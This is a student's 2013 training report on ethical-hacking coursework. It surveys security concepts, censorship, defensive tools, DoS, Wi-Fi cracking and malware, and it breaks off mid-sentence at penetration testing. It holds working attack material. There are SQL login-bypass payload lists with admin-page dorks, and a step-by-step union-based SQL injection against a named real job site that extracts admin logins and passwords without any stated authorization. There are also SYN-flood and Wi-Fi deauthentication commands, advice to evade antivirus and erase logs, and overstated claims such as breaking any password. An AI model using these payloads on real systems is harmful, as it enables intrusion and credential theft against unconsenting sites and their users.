This document is Raghav Bisht's report on his 6-week summer training at Bytec0de Securities PVT. LTD from May 25th to July 25th 2013 under the guidance of Mr. Mohit Yadav. The report provides an overview of the training organization, outlines the training objectives and course topics covered, and thanks those who supported his training experience. Key topics covered in the training included introduction to hacking and security, ethical hacking, technology aspects of IT security, hacking steps and techniques like DDoS attacks, wireless hacking, SQL injection, and penetration testing.

1. 2013
Raghav Bisht
7/16/2013
Report On Topic

2. SEMINAR ON INDUSTRIAL TRAINING
(June-July, 2013)
Certified Ethical Hacker
(CEH)
Submitted by
Raghav Bisht
Under the Guidance of
Mr. Mohit Yadav
(Co-Founder & Managing Director)
Discipline of CSE/IT
Bharath University, Agharam Road Selaiyur, Chennai
June-July, 2013

3. I hereby declare that I have completed my six weeks summer training at Bytec0de Securities
PVT. LTD from 25th May 2013 to 25th July 2013 under the guidance of Mr. Mohit Yadav. I
have worked with full dedication during these six weeks and my learning outcomes fulfill the
requirements of training.
Name of Student: Raghav Bisht
Date: 7/16/2013
DECLARATION 2013

4. “TO MY NATION INDIA AND LOVING GOD”
I am happy to present this report to my Department of CSE/IT.
I would like to acknowledge my trainer Mr. Mohit Yadav who gave me opportunity to develop
my hacking skills under their roof and all the other hackers who appreciate my work and
supported me till the end of my training.
A special thanks to Mr. Shorty420 & p7771 (Black hat) for sharing their work experience and
knowledge with me.
I wish to thanks my family and friends. Without them, I could not have completed my training.
I would also like to thank the people who directly or indirectly helped me on this term paper.
THANKING YOU
Acknowledgement 2013

7.  Organization overview
 Training Objective
 Course Outline
 Introduction to hacking and security
 Ethical hacking and IT security
 Technology aspects for IT security & ethical hacking
 Steps of hacking
 Dos & Ddos attack
 Wireless hacking
 SQL Injection
 Malware
 Pen testing
 Metasploit
 Reason for choosing CEH
 Gantt chart
 Bibliography
Index 2013

8. Bytecode is an IT certifications and training company, an authorized/accredited training center
of EC-Council, there head quarter is completely based in New Delhi (INDIA), They started small
IT training and certifications related operations in 1st, February 2008 with virtual lab
environment and online training and In just a few years Bytecode has grown with a large number
of new students, clients and partners and they have successfully trained and certified more than
15000 (fifteen thousands) students across the world.
From the starting they only deliver the best quality and knowledge base solutions with a very
high standard to their students, clients and partners. Bytecode believes in teamwork, with every
new day the quest for acquiring new competencies continues. Forever searching, experimenting,
innovating, learning, moving ahead with our sincere efforts and dedication, shaping the future,
and challenging our competencies to create new opportunities, is a never-ending process in the
company.
They have successfully deliver training and workshop related services to the govt. departments,
corporate, institutions and other giants Indian engineering colleges and schools.
They highly provide the certifications and training services for giants such as:
 EC-Council: Security5, CEH v8, ECSA, LPT, CHFI, CEI, ENSA
 CISCO: CCNA, CCNP, CCVP, CCSP, CCIE
 Redhat: RHCE, RHCA, RHCSA, RHCVA, RHCSS, RHCDS
 Comptia: Security+, A+, N+, Server+, Linux+, Server+, CASP, CTP
 CHECKPOINT: CCSA, CCSE
 ISACA: CISM, CISA
 ISC2: CISSP
 Microsoft: MCSE, MCSA, MCTS, MCITP, MCPD
Location:
Bytecode Cyber Security (P) Limited
Head Quarter : 72-B, III Floor,
Main Vikas Marg, Laxmi Nagar,
New Delhi - 110092
Near Nirman Vihar Metro Station ( Opp. Metro Pillar No.50 )
Organization Overview 2013

9.  Importance of informationsecurity in today’s
world.
Elements of security.
Various phases of the Hacking Cycle.
Types of hacker attacks.
Hacktivism.
Ethical hacking.
Vulnerability researchand tools.
Steps for conducting ethical hacking.
Computer crimes and implications.
Training Objective 2013

10. 1. IntroductiontoEthical Hacking
2. Foot printing
3. Scanning
4. Enumeration
5. SystemHacking
6. Trojans and Backdoors
7. Sniffers
8. Denial of Service
9. Social Engineering
10. SessionHijacking
11. Hacking WebServers
12. Web ApplicationVulnerabilities
13. Web-basedPasswordCracking Techniques
14. SQL Injection
15. Hacking WirelessNetworks
16. Virus and Worms
17. Physical Security
18. Linux Hacking
19. Evading IDS, Firewalls, and Honey-pots
20. Buffer Overflows
21. Cryptography
22. PenetrationTesting
Course Outline 2013

11. 1. What is hacking?
Hacking is a process to bypass the security mechanisms of information system or
network. Hacking is done in step partly by creative thinking and partly by using
different tools at a time.
Or,
Hacking is an unauthorized use of computer and network resources. Most people
think that hackers are computer criminals. They fail to recognize the fact that
criminals and hackers are two total different things. Media is responsible for this.
Hackers in reality are actually good and extremely intelligent people who by using
their knowledge in a constructive manner help organizations, companies,
government, etc. to secure documents and secret information on the internet.
So, hackers, as popularly defined, are computer experts who spend enormous
amount of time trying to breach the security of networks, web servers and emails.
Usually they use selection of specialist software to identify weakness, which are
then exploited.
The majority do it for fun and as a challenge. They’re not interested in attacking
private individuals. It’s the big companies and authorities they go for.
There are just two aspects of hacking that you have to worry about as a private
individual. One is that your details are on various company databases, and when
they are cracked, information about you can be stolen.
2. Understanding the need to hack your
own systems
To catch a thief, think like a thief. That’s the basis for ethical hacking. The law of
averages works against security. With the increased number and expanding
knowledge of hackers combined with the growing number of system
Introduction to Hacking & Security 2013

12. Vulnerabilities and other unknowns, the time will come when all computer systems
are hacked or compromised in some way.
3. So our overall goals as an ethical
hacker should be as follows:
 Hack your systems in a nondestructive fashion.
 Enumerate vulnerabilities and, if necessary, prove to management that
vulnerabilities exit and can be exploited.
 Apply results to remove the vulnerabilities and better secure your system.
4. What is computer security?
Security is process notproduct. The objective of computer security includes
protection of information and property from theft, corruption, or natural disaster,
while allowing the information and property to remain accessible use to minimize
the security threads.
5. What hacker can do?
 Hacker can enter any remote system to get all information without any
trace.
 Hack any email password, website, and take down network with help of
ddos attack.
 Hacker can break any password.
 Hacker can call to anyone without tracing.

13. Ethical hacking & IT security requirements are different from each person, like a
normal computer user want to protecttheir information’s from virus, etc and a
student want to break his friends email accounts, college teachers accounts and
valuable information’s as per their needs.
System administrators want to maintain information’s safely from outside and
inside attacks. Also maintain logs threads to investigate an attack.
A business man wants to protect their information’s securely from outside and
inside attacks, some of businessman interested in intelligence on competitors for
their business benefits, following are others interests:
1. To protect the sensitive information’s in the company’s database. A
company’s database will usually not just contain information about company
itself, but also data about its clients and employees. As such, should
malicious hackers be able to breach the system, they could very well get
their hands on information involving a lot of people in one go.
2. To protect the database itself. Malicious hackers may not just steal the
information in your system. To add insult to injury, they can also send
viruses into your system that could very well corrupt it and wipe out
everything in your database. This means the company losing a lot of very
important information.
3. To protect a business interests of the company. If the database of a company
is left unsecured and malicious hackers are able to gain access to the
information in it, the company can very well lose the respectof its clients,
partners and the business worlds.
A forensic analysist want to investigate cyber cases to find out cyber criminals so
he need latest technology to solve all issues in minimum time and penetration
testers want to find loopholes in software’s or network services to reduce risk.
A black hat hacker want to steal TOP SECRET information’s from business and
military computers for different agenda, now everything is depend on
information’s it may be for national security or war plans etc, like China is more
interested to steel valuable information’s from USA, India, South Korea, Japan,
Thailand, Vietnam, etc
Ethical Hacking & IT Security 2013

14. 1. IT act / laws
Each country has their own cyber law to prevent, monitor and investigate cyber
crime.
Now a day’s cyber criminal understands the complexity of laws and their effects.
Also some country has tight security on gateway level using their own central
monitoring system like China, Russia, India, etc.
India:
India does not have any “lawful interception law”. All it has is the
“unconstitutional” provisions of the information technology act 2000 (through IT
act 2008 amendments). Through these amendments, the cyber law of India has
been made an “instrumentality” of e-surveillance in India. There are no procedural
safeguards that can prevent the illegal and unconstitutional e-surveillance activities
in India.
The only resourcefor Indians in such circumstances is to use “self defense” and
prevent the illegal and unconstitutional encroachment upon their “civil liberties”
like right to privacy. You can do the following:
1. Use disposablee-mails to avoid e-mail surveillance.
2. Use safeguards like TOR against illegal internet eavesdropping and
sniffing.
3. Use TOR for instant messaging and mobile phones for private and secure
conversation.
4. For blackberry users and those believing in a good combination of
privacy and security, use pretty good privacy along with any good smart
phone. This way you can have a better and e-surveillance free mobile
infrastructure then the feature controversial blackberry phones.
5. Use Enigmail for encrypted emails.
Recently, the United Nations declared “right to access”to internet as human right.
This would have a positive impact upon many human rights in cyber-space. For

15. instance, right to speechand expression, right to privacy, right to know, etc cannot
be violated by the CMS project of India. United Nations must expand Human
Rights Protection to many more issues.
This is the real problem for the CMS project of India. We have no dedicated
privacy laws in India, Data security laws in India and data protection law in India.
Further, the CMS project of India is also beyond the “Parliamentary Security”. The
cyber law of India, incorporated in the information technology act 2000, was
drastically amended through the information technology amendment act 2008.
The IT act 2008 incorporated various “unconstitutional provisions” in the cyber
law of India that clearly violates the human rights in cyberspace. Forinstance,
provisions regarding internet censorship, website blocking, encryption and
decryption, etc have no inbuilt “proceduralsafeguards” as mandated by the
constitution of India. This is the reason why the cyber law of India needs to be
repealed.
Further we have no E-Surveillance policy in India. Even phone tapping in India is
done in an “Unconstitutional manner” and even by private individuals with or
without governmental approval.
If CMS project of India has to be legal has to be “legal and constitutional” it must
be subject to “parliamentary oversight”. Further, the IT act 2000 must be repealed
as soonas possible as it is clearly not in conformity with the constitution of India
and civil liberties protection in cyberspace.
The golden shield project colloquially referred to as the great firewall of china is a
censorship and surveillance project operated by the ministry of public security
division of the government of the people’s republic of china. The project was
initiated in 1998 and began operations in November 2003.
“Individuals are prohibited from using the internet to: harm national security;
disclose state secrets;or injure the interests of the state or society. Users are
prohibited from using the internet to create, replicate, retrieve, or transmit
information that in-cities resistance to the PRC Constitutions, laws, or
administrative regulations; promotes the overthrow of the government or socialist
system; undermines national unification; distorts the truth, spreads rumors, or

16. destroys social order; or provides sexually suggestive material or encourages
gambling, violence, or murder. Users are prohibited from engaging in activities
that harm the security of computer information networks and from using networks
or changing network resources without prior approval”
Purposeof the project is to block content by preventing IP address from being
routed through and consistof standard firewalls and proxy server at the internet
gateways. Through DNS cache poisoning it’s possible to make unreachable
specific website are requested.
In Oct. 2001, Greg Walton of the International centre for human rights and
domestic development published a report; he wrote:
Old style censorship is being replaced with a massive, ubiquitous architecture of
surveillance: the Golden Shield. Ultimately, the aim is to integrate a gigantic
online database with an all-encompassing surveillance network-incorporating
speechand face recognition, closed-circuit television, smart cards, credit records,
and Internet surveillance technologies.
China has implemented most sophisticated Internet content filtering that is able to
effectively filter content using multiple methods of regulation and technical
controls:
1. IP blocking and content filtering
2. DNS and URL filtering
3. DNS poisoning
This is a real battle in the cyber spacethat involves the world’s largest online
population and weapon created by Chinese government is an advanced Internet
censorship? We can categorize the censored content as
1. Websites belonging to outlawed or suppressed groups
2. Sites related to the hostiles government, media, or other
organizations deemed as subversive
3. Sites related to religious content any pornography websites or sites
that encourage criminal activity

17. 4. Blogging sites
The Chinese model is a reference for all the others authoritarian regimes but not
only for them. We are assisting to a challenge engaged by governments worldwide
like USA that desire to legislate cyber spaceand impose their control to prevent
any form of terrorism and dissents. We are observing a growing trend toward
internet censorship in a range of countries that are investing in the necessary
technology to implement the control. The technologies are exactly the same used to
secure network infrastructure from attack.
Some commonly used technical methods for censoring are:
1. IP blocking
IP blocking is a form of security used on mail, Web or any other Internet servers to
block connections from a specific IP address or range of addresses that are
considered undesirable or hostile. Forexample, a Web site forum administrator
who sees spam or unwanted posts from a user may block that user's IP address to
prevent them from using the discussion board.
Blacklist:In Internet terminology, a generic name for a list of e-mail addresses or
IP addresses that are originating with known spammers. Individuals and enterprises
can use blacklists to filter out unwanted e-mails, as most e-mail applications today
have filtering capabilities.
2. DNS filtering and redirection
Doesn’t resolve domain names, or returns incorrect IP addresses. This affects
all IP protocols suchas HTTP, FTP, or POP. A typical circumvention method is
to find a domain name server that resolve domain names correctly, but domain
name servers are subject to blockage as well, especially IP blocking. Another
workaround is to bypass DNS if the IP address is obtainable from another
sources and it not blocked. Examples are modifying the hosts file or typing the
IP address instead of the domain name in a web browser.

18. 3. URL filtering
Supposeyou type the name of your favorite social networking site on the web
browser and it displays a message like “The policy of this organization doesn’t
allow you to browse that website” and does not let you access the site from
office, there is a URL filter that has been put in place by your IT department.
So, a URL filter is used to basically categorize the websites on the internet and
either allow/block the access to them to the web users of the organization either
by referring to an already categorized central database (maintained by URL
filtering vendors) or by classifying the websites in real time. URL filtering can
also be made applicable only during certain times of a day or days of a week, if
required.
Why is URL Filtering required?
URL filtering is required to stop the users of an organization from accessing those
websites during working hours that:
 Drains their productivity
 Lets them view objectionable content from work place
 Is bandwidth intensive and hence creates a strain on resources
4. Packet filtering
On the Internet, packet filtering is the process ofpassing or blocking packets at a
network interface based on source and destination addresses, ports, orprotocols.
The process is used in conjunction with packet mangling and Network Address
Translation (NAT). Packet filtering is often part of a firewall program for
protecting a local network from unwanted intrusion. In a software firewall, packet
filtering is done by a program called a packet filter. The packet filter examines the
header of each packet based on a specific set of rules, and on that basis, decides to
prevent it from passing (called DROP) or allow it to pass (called ACCEPT).

19. Story:
“In real war a solder must need to understandable all weapons and there timing
effect as per target to win the war in minimum time”
Same IT security and Ethical hacking we need to break Antivirus, Firewall, IDS,
and IPS for penetration testing or ethical hacking.
1.Antivirus
Effective antivirus software guards your computer from all forms of malware,
including traditional computer viruses, worms, Trojan horses and even
sophisticated, blended attacks. Not only does antivirus software detect and
eliminate any viruses or malware that may have already infected your hard drive,
many solutions that offer a free virus scanactively prevent new infections before
they have a chance to affect your computer. Antivirus software will scan and
analyze emails and files for infection as they are downloaded.
Using the method of signature-based detection, antivirus software checks a file's
contents against a dictionary of known virus signatures - a pattern of codethat
uniquely identifies a virus. If a virus signature is found, the antivirus software will
remove the threat.
Antivirus software obviously detects potential threats in a few different ways. But
what about the latest and greatest viruses? Because people create new viruses
every day, an antivirus program will constantly update its dictionary of virus
signatures. Many antivirus software programs -- including those that offer free
virus protection -- also employ heuristic analysis, which can identify variants of
known malware - viruses that have been mutated or refined by attackers to create
different strains.
How antiviruswork?
Before understand how antivirus work, first we need to understand how program
work in computer OS.
Technology aspect for IT security & ethical hacking 2013

20. Each program is codeof instructions for processing inputs/outputs. The final form
of codein zero/one (Binary Language).
Antivirus company build team and list of known RAT and virus builders and create
executable files and found the most common part of each executable that always
same by program, so antivirus company build signature database and used by
antivirus engine to prevent known VIRUS.
For Unknown antivirus used behavior pattern they check the behavior like date of
modification-file, installation location, visibility type, etc and block them as per
rating system like Norton SONAR is great example.
How to bypass antivirus?
To bypass antivirus we need to build new RAT or virus using own coding else we
need to modify exciting codeusing crypter, binders, packers, etc.

22. 2.Firewall
Firewall is second pyramiding of IT security unauthorized or unwanted
communications between computer networks or hosts.
A firewall is a set of related programs, located at a network gateway server that
protects the resources of a private network from users from other networks. (The
term also implies the security policy that is used with the programs.) An enterprise
with an intranet that allows its workers access to the wider Internet installs a
firewall to prevent outsiders from accessing its own private data resources and for
controlling what outside resources its own users have access to.
Basically, a firewall, working closely with a router program, examines each
network packet to determine whether to forward it toward its destination. A
firewall also includes or works with a proxy server that makes network requests on
behalf of workstation users. A firewall is often installed in a specially designated
computer separate from the rest of the network so that no incoming request can get
directly at private network resources.
There are a number of firewall screening methods. A simple one is to screen
requests to make sure they come from acceptable (previously identified) domain
name and Internet Protocoladdresses. Formobile users, firewalls allow remote
access in to the private network by the use of secure logon procedures and
authentication certificates.
A number of companies make firewall products. Features include logging and
reporting, automatic alarms at given thresholds of attack, and a graphical user
interface for controlling the firewall.
Computer security borrows this term from firefighting, where it originated. In
firefighting, a firewall is a barrier established to prevent the spread of fire.
Whatdoes firewall do?
A firewall filters both inbound and outbound traffic. It can also manage public
access to private networked resources such as host applications. It can be used used

23. to log all attempts to enter the private network and trigger alarms when hostile or
unauthorized entry is attempted. Firewall can filter packets based on their source
And destination addresses and port numbers. This is known as address filtering.
Firewall can also filter specific type of network traffic. This is also known as
protocolfiltering because the decision to forward or reject traffic is dependent
upon the protocolused, for example HTTP, ftp or telnet. Firewalls can also filter
traffic by packet attribute or state.
3.IDS (IntrusionDetectionSystem)
An intrusion detection system (IDS) monitors network traffic and monitors for
suspicious activity and alerts the system or network administrator. In some cases
the IDS may also respond to anomalous or malicious traffic by taking action such
as blocking the user or sourceIP address from accessing the network.
IDS come in a variety of “flavors” and approachthe goal of detecting suspicious
traffic in different ways. There are network based (NIDS) and host based (HIDS)
intrusion detection systems. There are IDS that detect based on looking for specific
signatures of known threats- similar to the way antivirus software typically detects
and protects against malware- and there are IDS that detect based on comparing
traffic patterns against a baseline and looking for anomalies. There are IDS that
simply monitor and alert and there are IDS that perform an action or actions in
responseto a detected threat. We’ll cover each of these briefly.

24. There are three main types of IDS:
1. NIDS (Network Intrusion DetectionSystem)
Network Intrusion Detection Systems are placed at a strategic point or points
within the network to monitor traffic to and from all devices on the network.
Ideally you would scanall inbound and outbound traffic; however doing so might
create a bottleneck that would impair the overall speed of the network.
2. HIDS (Host-basedIntrusion DetectionSystem)
Host Intrusion Detection Systems are run on individual hosts or devices on the
network. A HIDS monitors the inbound and outbound packets from the device only
and will alert the user or administrator of suspicious activity is detected
3. SIDS (Stack-basedIntrusion DetectionSystem)
A signature based IDS will monitor packets on the network and compare them
against a databaseof signatures or attributes from known malicious threats. This is
similar to the way most antivirus software detects malware. The issue is that there
will be a lag between a new threat being discovered in the wild and the signature
for detecting that threat being applied to your IDS. During that lag time your IDS
would be unable to detect the new threat.
4. Anomaly Based
An IDS which is anomaly based will monitor network traffic and compare it
against an established baseline. The baseline will identify what is “normal” for that
network- what sort of bandwidth is generally used, what protocols are used, what
ports and devices generally connect to each other- and alert the administrator or
user when traffic is detected which is anomalous, or significantly different, than
the baseline.

25. 5. IPS (Intrusionpreventionsystem)
Intrusion prevention is a preemptive approach to network security used to identify
potential threats and respond to them swiftly. Like an intrusion detection system
(IDS), an intrusion prevention system (IPS) monitors network traffic. However,
because an exploit may be carried out very quickly after the attacker gains access,
intrusion prevention systems also have the ability to take immediate action, based
on a set of rules established by the network administrator. For example, an IPS
might drop a packet that it determines to be malicious and block all further traffic
from that IP address or port. Legitimate traffic, meanwhile, should be forwarded to
the recipient with no apparent disruption or delay of service.
According to Michael Reed of Top Layer Networks, an effective intrusion
prevention system should also perform more complex monitoring and analysis,
such as watching and responding to traffic patterns as well as individual packets.
"Detection mechanisms can include address matching, HTTP string and substring
matching, generic pattern matching, TCP connection analysis, packet anomaly
detection, traffic anomaly detection and TCP/UDP port matching."
Broadly speaking, an intrusion prevention system can be said to include any
productor practice used to keep attackers from gaining access to your network,
such as firewalls and anti-virus software.

27. 1.Informationgathering
This is a first step of hacking and penetration testing attack; first we collect all
information’s of target with help of tools and manual ways. Without much
information our success rate of attacks also low.
Manual Process:
1. Get URL using Google search.
2. Using whois sites.
5. www.who.is
6. www.robtex.com
7. www.domaintools.com
3. Get PDF and Document using Google special features:
8. Site:4share.com CISSP
9. Site:pastebin.com inurl:hack
10. Chemistry filetype:doc
11. http://www.googleguide.com/advanced_operators_refere
nce.html
Automated Process:
1. We use following tools for information gathering:
12. Uberharvest
13. theharvester.py
14. metaGooFii
15. Web Data Extractors ( Email-Phone no Extractors )
16. Maltego
2. People Search:
 pipl.com
 anywho.com
 address.com
 Social networking sites (facebook, linedin, twitter)
Steps of Hacking 2013

28.  Job Sites [ dice.com, monster.com,naukri.com ]
3. Phone Number
 truecaller.com
 kgdetective.com
 phunwa.com
4. Trace route Tools
 Vtrace [ www.vtrace.pl ]
 Trout [ www.foundstone.com ]
 tracert , traceroute [ commands ]
5. Email IP Tracking
 wspy.org
 Emailtrackerpro.com
 Readnotify.com
 Politemail.com
2.Scanning & Banner Grabbing
After getting information of target user we need to know OS type, version of
application that are running on open PORTS etc to successfulexploitation.
Following tools we need to use:
1. Port & network scanning:
Port and networking scanning is used to know open portand active Pc in network.
 Nmap
 Angry IP scanner
 Hping
2. Banner Grabbing:

29. Banner grabbing is a process to know exact version of target application to search
loopholes or exploits or zero day.
 Telnet
 ID serve
3.VulnerabilityScanning
This step is used to find out loopholes in applications using tools, after we use
public and private exploit to enter on target system remotely.
Vulnerability scanner:
 Acunetix
 netsparke
 nessus
 gfi languard
 Whatweb [ Find out web application ][ Backtrack Tool]
E.g.: ./whatweb bytec0de.com
 zoomscan[ scan zoomla website ] [ /pentest/web/zoomscan ]
E.g.: ./joomscan.pl -u http://liclanka.com/
 Nikto:
E.g. ./nikto.pl -host liclanka.com
 Websecurifi
 Vega
 w3af
 webshag
After find out vulnerability we look for exploit we need to compile those using
their associated language and change shell codeif required for connect back.

30. 4.Exploitation(Obtainingaccess)
Program exploitation is a staple of hacking. A program is made up of a complex
set of rules following a certain execution flow that ultimately tells the computer
what to do. Exploiting a program is simply a clever way of getting the computer to
do what you want it to do, even if the currently running program was designed to
prevent that action. Since a program can really only do what it’s designed to do,
the security holes are actually flaws or oversights in the design of the program or
the environment the program is running in. It takes a creative mind to find these
holes and to write programs that compensate for them. Sometimes these holes are
the products of relatively obvious programmer errors, but there are some less
obvious errors that have given birth to more complex exploit techniques that can be
applied in many different places.
5.Maintaining access & erasingevidence
This is postphase to maintain future access on target system. We need to deploy
malware as per our requirement else we need to erase logs and evidence or use
offshore VPS for whole operations.

31. 1.Dos Attack
A "denial-of-service" attack is characterized by an explicit attempt by attackers to
prevent legitimate users of a service from using that service. Examples include
 attempts to "flood" a network, thereby preventing legitimate network traffic
 attempts to disrupt connections between two machines, thereby preventing
access to a service
 attempts to prevent a particular individual from accessing a service
 attempts to disrupt service to a specific system or person
It is an attempt to make a
machine or network resource unavailable to its intended users. Consuming all
resources given to person. Like Network bandwidth , all Type Of Memory etc.
 Ping Of Death
o ping -t -l 6550 google.com [ max buffer size = 65500 ]
o Effective system [ Solaris 2.4 , minix , win3.11,95 ]
 SYN-ATTACK
o Hping -i sudo hping3 -i u1 -S -p 80 192.168.1.1
 UDP/HTTP/TCP Flooding
o LOIC
o HOIC
Dos & Ddos Attacks 2013

32.  Smurf Attack
o make your own packet and flood on network
 pktbuilder
 packETH 1.6 (linux & windows)
 CDP Flooding (Cisco Discovery Protocol)
o yersinia [ backtrack ]
o Done on Cisco Switches & Routers
 MAC Flooding
o Flooding network switches
o ARP Spoofing
o Net cut [ Windows ]
o ettercap [ Backtrack ]
o Deauthentication Technique
2.Ddos Attack
DDOS, short for Distributed Denial of Service, is a type of DOS attack where
multiple compromised systems -- which are usually infected with a Trojan -- are
used to target a single system causing a Denial of Service (DoS) attack. Victims of
a DDoS attack consistof both the end targeted system and all systems maliciously
used and controlled by the hacker in the distributed attack.
According to this report on e-Security Planet, in a DDoS attack, the incoming
traffic flooding the victim originates from many different sources – potentially
hundreds of thousands or more. This effectively makes it impossible to stop the
attack simply by blocking a single IP address;plus, it is very difficult to distinguish
legitimate user traffic from attack traffic when spread across so many points of
origin.

33. Distribution of attack techniques: January 2013
Distribution of attack techniques: April 2013

34. Wireless networks broadcasttheir packets using radio frequency or optical
wavelengths. A modern laptop computer can listen in. Worse, an attacker can
manufacture new packets on the fly and persuade wireless stations to accept his
packets as legitimate.
The step by step procedurein wireless hacking can be explained with help of
different topics as follows:-
1. Stations and Access Points :- A wireless network interface card (adapter) is
a device, called a station, providing the network physical layer over a radio
link to another station. An access point (AP) is a station that provides frame
distribution service to stations associated with it. The AP itself is typically
connected by wire to a LAN. Each AP has a 0 to 32 byte long Service Set
Identifier (SSID) that is also commonly called a network name. The SSID is
used to segment the airwaves for usage.
2. Channels :- The stations communicate with each other using radio
frequencies between 2.4 GHz and 2.5 GHz. Neighboring channels are only 5
MHz apart. Two wireless networks using neighboring channels may
interfere with each other.
3. Wired Equivalent Privacy (WEP) :- It is a shared-secret key encryption
system used to encrypt packets transmitted between a station and an AP. The
WEP algorithm is intended to protectwireless communication from
eavesdropping. A secondary function of WEP is to prevent unauthorized
access to a wireless network. WEP encrypts the payload of data packets.
Management and controlframes are always transmitted in the clear. WEP
uses the RC4 encryption algorithm.
4. Wireless Network Sniffing :- Sniffing is eavesdropping on the network. A
(packet) sniffer is a program that intercepts and decodes network traffic
broadcastthrough a medium. It is easier to sniff wireless networks than
wired ones. Sniffing can also help find the easy kill as in scanning for open
access points that allow anyone to connect, or capturing the passwordsused
in a connection sessionthat does not even use WEP, or in telnet, rlogin and
ftp connections.
Wireless hacking 2013

35. Steps for hacking Wi-Fi:
 airmon-ng start wlan0
 airodump-ng mon0
 airodump-ng --bssid 0C:D2:B5:01:AB:70 -c 12 -w bytecodelab mon0
 aireplay-ng -c <STATION> -0 500 -a 0C:D2:B5:01:AB:70 mon0
 aircrack-ng bytecodelab.cap

36. 1.Whatis Sql injection attack?
A SQL Injection attack is a form of attack that comes from user input that has not
been checked to see that it is valid. The objective is to fool the database system
into running malicious codethat will reveal sensitive information or otherwise
compromise the server.
SQL injection is a technique used to take advantage of non-validated input
vulnerabilities to pass SQLcommands through a Web application for execution by
a backend database. Attackers take advantage of the fact that programmers often
chain together SQL commands with user-provided parameters, and can therefore
embed SQL commands inside these parameters. The result is that the attacker can
execute arbitrary SQL queries and/or commands on the backend database server
through the Web application.
1.MYSQL Injection
 Dorks Code
o inurl:admin.asp
o inurl:login/admin.asp
o inurl:admin/login.asp
o inurl:adminlogin.asp
o inurl:adminhome.asp
o inurl:admin_login.asp
o inurl:administrator_login.asp
I am going to use:
Code:
http://site.com/Admin_Login.asp
 Logging
Now you can find some site over these dorks and try to log in with:
Username: Admin
Password:password' or1=1--
Instead of password' or1=1 you can use some of these:
Code:
'or'1'='1
' or '1'='1
' or 'x'='x
' or 0=0 --
" or 0=0 --
Sql Injection 2013

37. or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
'or'1=1'
Password ’ or 1=1 will the confuse server and will let you log in.
So if you are able to log in, site is vulnerable and you are going to be able to use
admin panel.
2.Advance Sql injection
Eg. Of advance Sql injection:
Target : http://www.naukriguru.com
 http://www.naukriguru.com/jobseeker/job-display-walk-in.php?id=98 order by 100
 http://www.naukriguru.com/jobseeker/job-display-walk-in.php?id=98 order by 10
 http://www.naukriguru.com/jobseeker/job-display-walk-in.php?id=98 order by 20
 http://www.naukriguru.com/jobseeker/job-display-walk-in.php?id=98 order by 50
 http://www.naukriguru.com/jobseeker/job-display-walk-in.php?id=98 order by 40
 http://www.naukriguru.com/jobseeker/job-display-walk-in.php?id=98 order by 30
 http://www.naukriguru.com/jobseeker/job-display-walk-in.php?id=98 order by 35
 http://www.naukriguru.com/jobseeker/job-display-walk-in.php?id=98 order by 33
 http://www.naukriguru.com/jobseeker/job-display-walk-in.php?id=98 order by 32
 http://www.naukriguru.com/jobseeker/job-display-walk-in.php?id=98 order by 31
 http://www.naukriguru.com/jobseeker/job-display-walk-in.php?id=98 union select by
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31
 http://www.naukriguru.com/jobseeker/job-display-walk-in.php?id=98 union select by
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31—
 http://www.naukriguru.com/jobseeker/job-display-walk-in.php?id=98 union select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31—
 http://www.naukriguru.com/jobseeker/job-display-walk-in.php?id=-98 union select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31—
 http://www.naukriguru.com/jobseeker/job-display-walk-in.php?id=-98 union select
1,2,@@version,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
,30,31—

38.  http://www.naukriguru.com/jobseeker/job-display-walk-in.php?id=-98 union select
1,2,group_concat,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,2
9,30,31—
 http://www.naukriguru.com/jobseeker/job-display-walk-in.php?id=-98 union select
1,2,group_concat(database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,2
5,26,27,28,29,30,31—
 http://www.naukriguru.com/jobseeker/job-display-walk-in.php?id=-98 union select
1,2,group_concat(database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,2
5,26,27,28,29,30,31—
 http://www.naukriguru.com/jobseeker/job-display-walk-in.php?id=-98 union select
1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,
25,26,27,28,29,30,31 from information_schema.tables where table_schema =
database()—
 http://www.naukriguru.com/jobseeker/job-display-walk-in.php?id=-98 union select
1,2,group_concat(column_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,
24,25,26,27,28,29,30,31 from information_schema.columns where table_name =
0x6e675f61646d696e—
 http://www.naukriguru.com/jobseeker/job-display-walk-in.php?id=-98 union select
1,2,group_concat(id,0x3a,loginid,0x3a,email,0x3a,password,0x3a,name,0x3a,type,0x3a),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 from
ng_admin—
 http://www.naukriguru.com/admin/
 http://www.naukriguru.com/admin/index.php#
 http://www.naukriguru.com/admin/add_industry.php
Toolused for Sql injection are:
 Havij v1.15
 Sql map
 Bsql hacker
 Pangolin
 Absinthe

39. This is a big catchall phrase that covers all sorts of software with nasty intent. Not
buggy software, not programs you don’t like, but software which is specifically
written with the intent to harm.
Virus:
This is a specific type of malware that spreads itself once it’s initially run. It’s
different from other types of malware because it can either be like a parasite that
attaches to good files on your machine, or it can be self-contained and search out
other machines to infect.
Worm:
Think of inchworms rather than tapeworms. These are not parasitic worms, but the
kind that move around on their own. In the malware sense, they’re viruses that are
self-contained (they don’t attach themselves like a parasite) and go around
searching out other machines to infect.
Trojan:
Do you remember that story you had to read in high schoolabout the big wooden
horse that turned out to be full of guys with spears?This is the computer
equivalent. You run a file that is supposedto be something fun or important, but it
turns out that it’s neither fun nor important, and it’s now doing nasty things to your
machine.
Malware 2013

40. Introduction:
1. What is penetration testing?
A penetration testing is a method of evaluatingthe security of a computer
